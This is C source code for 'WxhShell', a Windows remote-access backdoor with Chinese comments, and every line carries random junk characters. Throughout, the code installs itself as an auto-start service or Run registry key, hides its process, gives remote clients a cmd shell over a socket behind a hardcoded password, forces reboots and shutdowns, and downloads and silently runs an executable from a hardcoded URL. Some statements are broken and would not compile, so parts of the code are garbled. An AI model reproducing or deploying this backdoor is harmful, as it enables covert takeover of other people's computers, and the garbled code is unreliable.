  // 关机 ^1 ;BiQ  
  case 'd': { P,ydt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^V .'^=l  
    if(Boot(SHUTDOWN)) h/?6=D{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mq'IkSt'  
    else { vxVOcO9<  
    closesocket(wsh); 9go))&`PJL  
    ExitThread(0); y\,f6=%k  
    } " #v%36U  
    break; 3[VNsX  
    } ;7j,MbU  
  // 获取shell `HyF_m>\  
  case 's': { J^:n* C  
    CmdShell(wsh); M4:s;@qZ.  
    closesocket(wsh); d.AC%&W  
    ExitThread(0);  :,~K]G  
    break; E}YI WTX  
  } (f>M &..  
  // 退出 n[CoS  
  case 'x': { M*`hDdS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2(+P[(N1,  
    CloseIt(wsh); r6 }_H?j  
    break; h.}u?{  
    } ~OCZz$qA  
  // 离开 H+x#gK2l  
  case 'q': { lDN?|YG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q3+8]-9|5  
    closesocket(wsh); D/:3R ZF  
    WSACleanup(); no&-YktP}  
    exit(1); YtYy zX5u7  
    break; th 2<o5  
        } b-%l-u  
  } f^e&hyC   
  } 8,*3zVk-  
Q0>q:aj\  
  // 提示信息 -?fR|[\[U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t!qwxX*$T  
} IaasHo\  
  } 5g0_WpO  
onnugj3  
  return; -_>.f(1  
} r?3Aqi"  
Yqj+hC6>,  
// shell模块句柄 B9#;-QO  
int CmdShell(SOCKET sock) ~kb{K;  
{ PeNF+5s/K  
STARTUPINFO si; _ECB^s_  
ZeroMemory(&si,sizeof(si)); R=$Ls6z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qxq-Mpx{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h<NRE0-  
PROCESS_INFORMATION ProcessInfo; 8 Z8Y[p  
char cmdline[]="cmd"; |^Kjz{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k|B2@{  
  return 0; gtYRV*^q  
} "8/dD]=f^a  
!y*oF{RZ  
// 自身启动模式 U^?= 0+  
int StartFromService(void) .NnGVxc5*  
{ 1;&T^Gdj  
typedef struct tX?J@+  
{ e U;jP]FA  
  DWORD ExitStatus; XwPx9+b6j  
  DWORD PebBaseAddress;  hY=I5[*  
  DWORD AffinityMask; (>AFyh&3,X  
  DWORD BasePriority; P%)b+H{$h  
  ULONG UniqueProcessId; 38Efp$)  
  ULONG InheritedFromUniqueProcessId; X| <yq  
}   PROCESS_BASIC_INFORMATION; fj+O'X  
!^v\^Fc  
PROCNTQSIP NtQueryInformationProcess; WQKj]:qk0  
a.,_4;'UE1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +)gB9DoK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [{cC  
HJ@5B"  
  HANDLE             hProcess; m =k%,J_  
  PROCESS_BASIC_INFORMATION pbi; v3-?CQb(  
I%xn,u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Xw^X&Pp  
  if(NULL == hInst ) return 0; "&-C$J5 Id  
c#pj:f*H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (.Xr#;\(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t)r1"oA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D^$OCj\  
-9-fX(I  
  if (!NtQueryInformationProcess) return 0; 'C~9]Y].  
j)L1H* S%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /s`;9)G]9  
  if(!hProcess) return 0; j-32S!  
6?o>{e7n^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6mHhC?  
a D|Yo  
  CloseHandle(hProcess); }\Z5{OA  
aYVDp{_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eqhAus?)  
if(hProcess==NULL) return 0; p(?3 V  
ps+:</;Z  
HMODULE hMod; )4uq iA6  
char procName[255]; y<M]dd$  
unsigned long cbNeeded; 9p*-?kPb  
xR}of"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [H^ X"D  
d?7BxYaa  
  CloseHandle(hProcess); NvHN -^2  
e /94y6*>  
if(strstr(procName,"services")) return 1; // 以服务启动 P(;Mb{  
W ~NYU  
  return 0; // 注册表启动 O<X )p`,`  
} P) 1 EA;  
HNMBXXf, B  
// 主模块 *#h;c1aP  
int StartWxhshell(LPSTR lpCmdLine) 3 Gd|YRtk  
{ (\& 62B1  
  SOCKET wsl; Vp7b4n<  
BOOL val=TRUE; Fu##'#  
  int port=0; @L8;VSI  
  struct sockaddr_in door; Z4@y?f v7s  
xA-jvu9@  
  if(wscfg.ws_autoins) Install(); 0;cuX@A/a?  
OX3Xy7  
port=atoi(lpCmdLine); %?dE{ir  
e5OVq ,  
if(port<=0) port=wscfg.ws_port; Q|//Z  
{US>)I  
  WSADATA data; !*bdG(pK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oHsP?%U  
OjATSmZ@@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o?\Gm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UABbcNW  
  door.sin_family = AF_INET; #(dhBEXPW;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Tf[dZ(+\  
  door.sin_port = htons(port); f{_)rsqf  
tN!Bvj:C[M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }`]]b+_b>@  
closesocket(wsl); #Fzb8Yo  
return 1; 1eiw3WU;  
} ^ZVO ql&  
^A#x<J+  
  if(listen(wsl,2) == INVALID_SOCKET) { !gJzg*{u@  
closesocket(wsl); T#r=<YH[C  
return 1; {(0Id!  
} +XQP jg  
  Wxhshell(wsl); }4KW@L[g  
  WSACleanup(); zbg+6qs})  
Pz1G<eh#{g  
return 0; mu>] 9ZW  
UR,?!rJ^B  
} zq=&4afOE  
UN(3i(d  
// 以NT服务方式启动 A^L?_\e6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uMpl#N p  
{ hgwn> p:S#  
DWORD   status = 0; oG\>--  
  DWORD   specificError = 0xfffffff; K0 QH?F  
+.K*n&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %I}'Vb{C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >#?iO]).  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Om6Mmoqh  
  serviceStatus.dwWin32ExitCode     = 0; niAZ$w  
  serviceStatus.dwServiceSpecificExitCode = 0; ?FDJqJM  
  serviceStatus.dwCheckPoint       = 0; 8})|^%@n  
  serviceStatus.dwWaitHint       = 0; Gym#b{#":  
ZQ|gt*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t%HI1eO7h  
  if (hServiceStatusHandle==0) return; z L8J`W  
h[y*CzG  
status = GetLastError(); !mae^A1  
  if (status!=NO_ERROR) B,MQ.|s[  
{ P eHW[\)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C (U  
    serviceStatus.dwCheckPoint       = 0; `GS cRhbh  
    serviceStatus.dwWaitHint       = 0; W1`Dx(g  
    serviceStatus.dwWin32ExitCode     = status; B'#4;R!8P=  
    serviceStatus.dwServiceSpecificExitCode = specificError; iLQSa7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ->3uOF!q  
    return; F {/>u(@3  
  } !G[f[u4Zg  
*?p ^6vO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $r):d  
  serviceStatus.dwCheckPoint       = 0; Lz?*B$h  
  serviceStatus.dwWaitHint       = 0; 6"%@ L{UQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z,SY N?@  
} (H2ylMpQt  
GI?PGAT  
// 处理NT服务事件,比如:启动、停止 i)[kubM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YQx?* gZS  
{ 1]Lhk?4t  
switch(fdwControl) %rw}u"3T  
{ HM 90Sb  
case SERVICE_CONTROL_STOP: ~;!BDLMC6  
  serviceStatus.dwWin32ExitCode = 0; V07VwVD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @"0uM?_)-  
  serviceStatus.dwCheckPoint   = 0; #)FDl70S8  
  serviceStatus.dwWaitHint     = 0; 73VQ@J n  
  { #1B}-PGCm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Enu!u~1]F  
  } hAlPl<BO#V  
  return; m|lM.]2_  
case SERVICE_CONTROL_PAUSE: ]  ~'9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aU4R+.M7@  
  break; brj[c>ID  
case SERVICE_CONTROL_CONTINUE: aj?2jU~Pq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8<Xq=*J+  
  break; ;}UzJe ,S  
case SERVICE_CONTROL_INTERROGATE: L,WkJe3  
  break; )O9fhj)  
}; WqR7uiCi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lS#7x h  
} X:U=MWc>  
tg3zXJ4k_  
// 标准应用程序主函数 H<$pHyxU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x\6] ;SXX  
{ JV&Zwbu  
<r_3obRC  
// 获取操作系统版本 p%tE v  
OsIsNt=GetOsVer(); Jb7iBQ2%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `t%|.=R  
D/e&7^iK  
  // 从命令行安装 iQu^|,tHEM  
  if(strpbrk(lpCmdLine,"iI")) Install(); |^ ?`Q.|c$  
<>VID E  
  // 下载执行文件 Qg[heND  
if(wscfg.ws_downexe) { b$dBV}0 L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hN[X 1*  
  WinExec(wscfg.ws_filenam,SW_HIDE); *B %y`cj|  
} 6={IMkmA  
1>hb-OMX  
if(!OsIsNt) { hH#lTye  
// 如果时win9x,隐藏进程并且设置为注册表启动 pa> p%  
HideProc(); axOi 5  
StartWxhshell(lpCmdLine); W8< @sq~I  
} .#"1bRWpZ  
else w<Zdq}{jO  
  if(StartFromService()) ?n2C  
  // 以服务方式启动 *3 !(*F@M,  
  StartServiceCtrlDispatcher(DispatchTable); X {#bJ  
else 7qpzk7X?pR  
  // 普通方式启动 9z+vFk`  
  StartWxhshell(lpCmdLine); h|K\z{ A  
JIVo=5c}  
return 0; +I*k0"gj6  
} h] <GTWj  
*+NGi(N  
eR7qE) h  
?0 HR(N(z!  
=========================================== P a3{Ds  
I+*osk  
0K&_D)  
e jP,29  
>y]?MGk  
(qJIu  
" ;& RUE  
pi|\0lH6W  
#include <stdio.h> t#a.}Jl  
#include <string.h> ]U_5\$  
#include <windows.h> b*cW<vX}~  
#include <winsock2.h> :b.3CL\.6  
#include <winsvc.h> dv}8Y H["  
#include <urlmon.h> TihnSb  
|Uc <;> l  
#pragma comment (lib, "Ws2_32.lib") X";TZk  
#pragma comment (lib, "urlmon.lib") "w>rlsT<O  
tX@ 0:RX%  
#define MAX_USER   100 // 最大客户端连接数 ]^Sd9ba  
#define BUF_SOCK   200 // sock buffer th5 X?so  
#define KEY_BUFF   255 // 输入 buffer 0Ulxp  
5P-K *C&  
#define REBOOT     0   // 重启 $Vo/CZW7  
#define SHUTDOWN   1   // 关机 (}9cD^F0n  
$$k7_rs  
#define DEF_PORT   5000 // 监听端口 r5D jCV"  
 -PcS(  
#define REG_LEN     16   // 注册表键长度 Cw6>^  
#define SVC_LEN     80   // NT服务名长度 n>u.3w L  
wYZy e^7  
// 从dll定义API .UNF~}^H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W,xi> 5k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B0 6s6Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >_rzT9gX&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ` 52% XI  
j kSc&  
// wxhshell配置信息 kTr6{9L  
struct WSCFG {  -0{T  
  int ws_port;         // 监听端口 PthId aN@  
  char ws_passstr[REG_LEN]; // 口令 `)0Rv|?  
  int ws_autoins;       // 安装标记, 1=yes 0=no or?0PEx\  
  char ws_regname[REG_LEN]; // 注册表键名 t8L<x  
  char ws_svcname[REG_LEN]; // 服务名 KDux$V4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 += X).X0K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M' &J _g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~sZqa+jB0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `6 |i&w:b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |E46vup  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]ev*m&O  
D-'i G%)kA  
}; lo\:]/&6  
6\; 4 4,3  
// default Wxhshell configuration ;M%oQ> ].[  
struct WSCFG wscfg={DEF_PORT, u)<Ysx8G  
    "xuhuanlingzhe", !Sh^LYqn  
    1, pYYqGv^oa  
    "Wxhshell", kqj;l\N  
    "Wxhshell", < 8}KEe4  
            "WxhShell Service", k)?,xY\AV  
    "Wrsky Windows CmdShell Service", &?P=arU  
    "Please Input Your Password: ", .}IK}A/-  
  1, ?|D$#{^  
  "http://www.wrsky.com/wxhshell.exe", \pjRv  
  "Wxhshell.exe" Fg_?!zR>6  
    }; 9V|E1-")E  
1~["{u  
// 消息定义模块 | \ s2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &p/S>qKu#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :iP>z}h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M'pb8jf  
char *msg_ws_ext="\n\rExit."; OpWeW  
char *msg_ws_end="\n\rQuit."; J xA^DH  
char *msg_ws_boot="\n\rReboot..."; xI=}z  
char *msg_ws_poff="\n\rShutdown..."; $sU5=,  
char *msg_ws_down="\n\rSave to "; utYnaeQcn  
P5'iYahCq_  
char *msg_ws_err="\n\rErr!"; XkMs   
char *msg_ws_ok="\n\rOK!"; t/l!KdY$  
FY 1},sq  
char ExeFile[MAX_PATH];  ioE66-n  
int nUser = 0; +)/Rql(lY  
HANDLE handles[MAX_USER]; v7s ]  
int OsIsNt; XNc"kp? z  
.8u$z`j  
SERVICE_STATUS       serviceStatus; d$2@,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FK4nz2&4  
A)b)ff ,  
// 函数声明 CL)1Q  
int Install(void); vjexx_fq  
int Uninstall(void); dzjBUD  
int DownloadFile(char *sURL, SOCKET wsh); .b =M5JsyV  
int Boot(int flag); 2ApDpH`fiJ  
void HideProc(void); 8m#}S\m  
int GetOsVer(void);  l 'AK  
int Wxhshell(SOCKET wsl); F/Rng'l  
void TalkWithClient(void *cs); Cfv L)f  
int CmdShell(SOCKET sock); .){e7U6b{  
int StartFromService(void); ?aK'OIo  
int StartWxhshell(LPSTR lpCmdLine); 9@KUqoX  
#rn4 $  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (lyt"Ty  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @<@R=aqE  
'1>g=Ic0  
// 数据结构和表定义 =oL8d 6nI  
SERVICE_TABLE_ENTRY DispatchTable[] = YtwmlIar`  
{ \Dvl%:8   
{wscfg.ws_svcname, NTServiceMain}, @ A~B ,  
{NULL, NULL} W~XV  
}; oso1uAOfp  
D..{|29,:  
// 自我安装 c,#~L7  
int Install(void) 2*~JMbm  
{ }m=t zHB*  
  char svExeFile[MAX_PATH]; p56KS5duI.  
  HKEY key; Jcwh|w9D8  
  strcpy(svExeFile,ExeFile); g|&.v2 '  
J8sJ~FnUj  
// 如果是win9x系统,修改注册表设为自启动 l _kg3e4  
if(!OsIsNt) { u4b3bH9U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LY@1@O2@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9TYw@o5V  
  RegCloseKey(key); E5,%J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s)=!2AY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VfL]O8P>  
  RegCloseKey(key); 6=Y3(#Ddt  
  return 0; c]AKeq]  
    } mhHA!:Y  
  } 8! |.H p  
} EmtDrx4!(f  
else { U~u6}s]:  
>:Rt>po8|w  
// 如果是NT以上系统,安装为系统服务 z")3_5Br  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p0}+071o%  
if (schSCManager!=0) {#dp-5V  
{ 8k+q7  
  SC_HANDLE schService = CreateService vh1 Ma<cx  
  ( p^pQZ6-  
  schSCManager, !uj!  
  wscfg.ws_svcname, Lu8%qcC  
  wscfg.ws_svcdisp, nhVK?  
  SERVICE_ALL_ACCESS, &X#x9|=&O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .G5NGB  
  SERVICE_AUTO_START,  |0C|$2  
  SERVICE_ERROR_NORMAL, Z`-)1!  
  svExeFile, ^F0k2pB  
  NULL, d vg;  
  NULL, x*loACee.  
  NULL, x[GFX8h(k6  
  NULL, `@f hge  
  NULL hQg,#r(JE4  
  ); ;X*K*q  
  if (schService!=0) zumR(<l  
  { 'mBLf&fB  
  CloseServiceHandle(schService); OEy:#9<'  
  CloseServiceHandle(schSCManager); g[=\KrTSg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .-C+0L1j  
  strcat(svExeFile,wscfg.ws_svcname); E>l#0Zw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `'G),{ j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^G'yaaLXR  
  RegCloseKey(key); O" X!S_R  
  return 0; c"f-$^<  
    } K%[}[.cW  
  } 1}n)J6m  
  CloseServiceHandle(schSCManager); *7xQp!w^  
} +YQ)}v  
} #"=yQZ6Y  
MYDf`0{$_a  
return 1; (x1"uy7_  
} k$$S!qi#  
0] :*v?  
// 自我卸载 J-eA,9J  
int Uninstall(void) 9:CVN@E  
{ ~ X]"P4 u  
  HKEY key; 3%vx' 1h[  
?vht~5'  
if(!OsIsNt) { T(sG.%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1eE]4Z4Q  
  RegDeleteValue(key,wscfg.ws_regname); JhMrm%  
  RegCloseKey(key);  |(J ?#?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $.r}g\43P  
  RegDeleteValue(key,wscfg.ws_regname); X_0{*!v8  
  RegCloseKey(key); oSu|Yn  
  return 0; ${TB2q}%  
  } Gpxb_}P  
} O9qKwn;q(  
} , IMT '*  
else { EvH(Po h  
7b7%(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (_%JF[W  
if (schSCManager!=0) #RLch  
{ Q8DQ .C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %WJ{IXlz  
  if (schService!=0) d 40'3]/{  
  { vZ_DG}n11  
  if(DeleteService(schService)!=0) { W)$|Hm:H  
  CloseServiceHandle(schService); ZaNyNxbp>z  
  CloseServiceHandle(schSCManager); 5Re`D|8  
  return 0; R uFu,H-  
  } U47k5s(J  
  CloseServiceHandle(schService); eBYaq!t k  
  } ^)C$8:@  
  CloseServiceHandle(schSCManager); 9sO{1rF  
} pxCGE[@`  
} I).^,%>Z)  
wEo-a< (  
return 1; ]mO+<{{4X  
} 6&OonYsP  
uc"[qT(X  
// 从指定url下载文件 H z < M  
int DownloadFile(char *sURL, SOCKET wsh) Skk3M?  
{ vUIK4uR.  
  HRESULT hr; tI!R5q;k  
char seps[]= "/"; bb O;AiHD  
char *token; 6>N u=~  
char *file; 93Ci$#<y  
char myURL[MAX_PATH]; qG2\` +v  
char myFILE[MAX_PATH]; E3.W#=o  
6Ymo%OT  
strcpy(myURL,sURL); V)?x*R*T)  
  token=strtok(myURL,seps); #:ED 0</  
  while(token!=NULL) `M pC<sit  
  { PE;0 jgsiI  
    file=token; qI V`zZc  
  token=strtok(NULL,seps); 2)I'5 ?I  
  } z5o9\.y({  
Fb<\(#t  
GetCurrentDirectory(MAX_PATH,myFILE); p-(ADQS  
strcat(myFILE, "\\"); M;RnH##W  
strcat(myFILE, file); w_z^5\u0  
  send(wsh,myFILE,strlen(myFILE),0); a,0o{* (u$  
send(wsh,"...",3,0); vS*0CR\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @R-~zOv  
  if(hr==S_OK) )H37a  
return 0; nE "b`  
else .}hZ7>4-  
return 1; lA^Kh  
Kj<<&_B.H  
} n'ca*E(  
}Bod#|`  
// 系统电源模块 $O]E$S${  
int Boot(int flag) ae(]9VW  
{ ;u-< {2P  
  HANDLE hToken; kAQ\t?`x  
  TOKEN_PRIVILEGES tkp; Vp-OGX[  
cwW~ *90#  
  if(OsIsNt) { <hF~L k ,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @9kk f{?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8Jy1=R*S  
    tkp.PrivilegeCount = 1; W!Ct[t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y3o4%K8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M3ZJt'|  
if(flag==REBOOT) { [2j (\vC!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H R!>g  
  return 0; Kp=3\)&  
} $d??(   
else { vM4`u5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kq.R(z+  
  return 0; F0ivL`  
} pt|$bU7  
  } ;Q,).@<C  
  else { |s3HeY+Co  
if(flag==REBOOT) { PA-0FlV|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g7Q*KA+  
  return 0; *ej o6>  
} HOQ _T4  
else { :~A1Ud4c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hr}R,BR|  
  return 0; Ef*.}gcU  
} 3L!&~'.Ro  
} nTtt$I@hW  
yI|?iBc7nC  
return 1; vhe Ah`u^&  
} OFAqP1o{$  
q2U"k  
// win9x进程隐藏模块 R^O)fL0_  
void HideProc(void) LAVt/TcZS|  
{ 2'^OtM,  
N4]6LA6x6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [N$_@[  
  if ( hKernel != NULL ) ;51!a C  
  { #&8pp8wd,}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ib=^ tK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {8p?we3l1  
    FreeLibrary(hKernel); PH4bM  
  } Qs[EA_  
C%7)sLWjJS  
return; X1z0'gvh  
} 4y}a,  
Y&Vbf>Hi+  
// 获取操作系统版本 mE@o27  
int GetOsVer(void) /g- X=|?F  
{ GDQg:MgX  
  OSVERSIONINFO winfo; 2uR4~XjF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sL`D}_:  
  GetVersionEx(&winfo); 6o23#JgN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LYT<o FE-  
  return 1; xcRrI|?eC  
  else Jz8#88cY  
  return 0; j\L$dPZ  
} #w?%&,Kp  
t:@A)ip  
// 客户端句柄模块  >33b@)  
int Wxhshell(SOCKET wsl) LUVJ218p  
{ { rJF)\2  
  SOCKET wsh; pC.P  
  struct sockaddr_in client; `e;Sjf<  
  DWORD myID; ZTz(NS EK  
Ytnr$*5.  
  while(nUser<MAX_USER) Us~wv"L=UX  
{ QS?9&+JM|  
  int nSize=sizeof(client); mb6?$1j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [goPmVe+  
  if(wsh==INVALID_SOCKET) return 1; !Kqj&y5  
jN{xpd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Jj!tRZT  
if(handles[nUser]==0) 5:3$VWLa <  
  closesocket(wsh); krY.Cc]  
else WjxBNk'f  
  nUser++; {"AYOc>2|  
  } s+G9L)b'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5{f/H] P  
zw:b7B]  
  return 0; zYJ`.,#C 5  
} a9JJuSRC  
Vk=<,<BB  
// 关闭 socket Vx8.FNJh  
void CloseIt(SOCKET wsh) m`0{j1K  
{ EGO@`<"h  
closesocket(wsh); tD482Sb=  
nUser--; U,}T ]J  
ExitThread(0); T $]L 5  
} >a~FSZf  
\V\ET  
// 客户端请求句柄 TbM*?\7  
void TalkWithClient(void *cs) `.Q3s?1F  
{ 0#GwhB  
U.} =j'Us+  
  SOCKET wsh=(SOCKET)cs; yAkN2  
  char pwd[SVC_LEN]; ?^GsR[-x  
  char cmd[KEY_BUFF]; -+Ji~;b  
char chr[1]; 5. UgJ/  
int i,j; J, U~ .c  
j-E>*N}-_  
  while (nUser < MAX_USER) { e' ;c8WF3E  
aV#;o9H{  
if(wscfg.ws_passstr) { 9cPucKuj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *3oQS"8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oQB1fs  
  //ZeroMemory(pwd,KEY_BUFF); 'B:De"_(N  
      i=0; Q%d[ U4@  
  while(i<SVC_LEN) { *#9kFz-  
Ykq }9  
  // 设置超时 + a@SdWf  
  fd_set FdRead; X2kLbe  
  struct timeval TimeOut; bTKxv<  
  FD_ZERO(&FdRead); v xZUtyJfe  
  FD_SET(wsh,&FdRead); m5g: Q  
  TimeOut.tv_sec=8; oK[,xqyA  
  TimeOut.tv_usec=0; 780MSFV8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^?`,f>`M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7-B'G/PS/  
} /FM#Xh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r{;4(3E2  
  pwd=chr[0]; 1#RA+d(  
  if(chr[0]==0xd || chr[0]==0xa) { YH$`r6\S  
  pwd=0; \dbtd hT;Z  
  break; S(xA}0]  
  } i<![i5uAI  
  i++; @isqFKjph  
    } DzOJ{dF  
c(JO;=,@9  
  // 如果是非法用户,关闭 socket SX8%F:<.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M" \y2   
} n-WvIy  
B}T72!a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l/M+JT~R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g}h0J%s  
I[C.iILL  
while(1) { |Q+v6r(<zZ  
yU`IyaazZ  
  ZeroMemory(cmd,KEY_BUFF); 3P>@ :  
N.rB-  
      // 自动支持客户端 telnet标准   Jc6 D^=  
  j=0; Etk<`GRfA  
  while(j<KEY_BUFF) { pswppC6f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w| # 79,&  
  cmd[j]=chr[0]; 9 f+7vCA  
  if(chr[0]==0xa || chr[0]==0xd) { S)h1e%f, f  
  cmd[j]=0; ?os0JQVB  
  break; EaL+}/q&  
  } 1Qkuxw  
  j++; 3g?T,| 2K  
    } 8ttw!x69)_  
4 .qjTR  
  // 下载文件 VW/1[?HG5  
  if(strstr(cmd,"http://")) { h@8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IHfqW?  
  if(DownloadFile(cmd,wsh)) AS ul  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JJO"\^,;~  
  else nV1, ):kh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T[J_/DE@  
  } tL|Q{+i yE  
